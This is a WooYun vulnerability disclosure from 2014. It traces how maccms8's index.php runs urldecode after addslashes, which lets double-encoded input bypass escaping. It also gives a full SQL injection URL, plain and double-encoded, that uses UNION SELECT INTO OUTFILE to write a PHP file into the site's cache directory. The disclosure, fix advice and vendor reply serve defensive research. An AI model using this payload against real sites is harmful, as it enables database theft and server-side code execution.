当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066661

漏洞标题:maccms8 设计逻辑缺陷导致sql注入

相关厂商:maccms.com

漏洞作者: 路人甲

提交时间:2014-06-30 10:33

修复时间:2014-09-28 10:34

公开时间:2014-09-28 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-30: 细节已通知厂商并且等待厂商处理中
2014-06-30: 厂商已经确认,细节仅向厂商公开
2014-07-03: 细节向第三方安全合作伙伴开放
2014-08-24: 细节向核心白帽子及相关领域专家公开
2014-09-03: 细节向普通白帽子公开
2014-09-13: 细节向实习白帽子公开
2014-09-28: 细节向公众公开

简要描述:

maccms8 设计逻辑缺陷,导致sql注入

详细说明:

废话不多说,首先我们进入入口文件index.php:

$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];

if(empty($ac)){ $ac='vod'; $method='index'; }

$colnum = array("id","pg","yaer","typeid","classid");
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }


追踪be函数,代码如下:

function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}


发现这里对特殊字符进行了addslashes,那么我们%2527传递到这里就是一个%27,那么就不会被过滤,然后我们逃出来看看,神奇的地方,必有神奇的写法

for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}


看见了没有这里又进行了urldecode,所以大家都明白了怎么绕过这个cms了,下来我们找一个文件,gbook.php:

$tpl->P['cn'] = 'gbook'.$tpl->P['pg'];
//echoPageCache($tpl->P['cp'],$tpl->P['cn']);
$tpl->H = loadFile(MAC_ROOT."/template/".$MAC['site']['templatedir']."/".$MAC['site']['htmldir']."/home_gbook.html");
$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
$tpl->mark();
$tpl->H = str_replace("{maccms:gbookverify}", $MAC['other']['gbookverify'] ,$tpl->H);
if(strpos($tpl->H,'{maccms:count_gbook_all}')){
$tpl->H = str_replace("{maccms:


这里有一个mark函数,然后我们跟踪进去发现里面有一个sql操作的函数

$this->markname = $matches1[1][$i];
$this->markpar = $matches1[2][$i];
$this->markdes = $matches1[3][$i];
$this->mark_sql();

switch($this->markname)
{


再次跟进去mark_sql()函数,我们就明白了 这里进行了select查询,那么接下来我们构造sql语句,由于cms是一个伪静态页面的访问,全部由index.php分发:
url
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s') union select 1,2,3,user(),version(),"<?php phpinfo()?>",NULL,NULL,NULL into outfile 'E:/wamp/www/maccms8_mfb_/maccms8_mfb/cache/userinfo'#ORDER BY g_time desc limit 0,10
根据上面的分析,我们对m后面的参数进行两次url编码:
http://192.168.10.70/maccms8_mfb_/maccms8_mfb/index.php?m=gbook-show-wd-ss11s%2527%2529%2520union%2520select%25201%252C2%252C3%252Cuser%2528%2529%252Cversion%2528%2529%252C%2522%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%2522%252CNULL%252CNULL%252CNULL%2520into%2520outfile%2520%2527E%253A%252fwamp%252fwww%252fmaccms8_mfb_%252fmaccms8_mfb%252fcache%252fuserinfo%2527%2523ORDER%2520BY%2520g_time%2520desc%2520limit%25200%252C10
请求后我们,发现如图:

10.png


我们然后去访问我们生成的文件:

11.png

漏洞证明:

修复方案:

在对参数采用addshlash的时候首先进行urldecode而且这里要循环解码,然后最终的再进行过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-30 21:06

厂商回复:

感谢您对本cms的长期白帽测试,我们在0627版本中测试,该注入参数可以被脚本拦截。 down点maccms点com 下载最新测试版 。我们也会继续关注此类似的多个漏洞。

最新状态:

暂无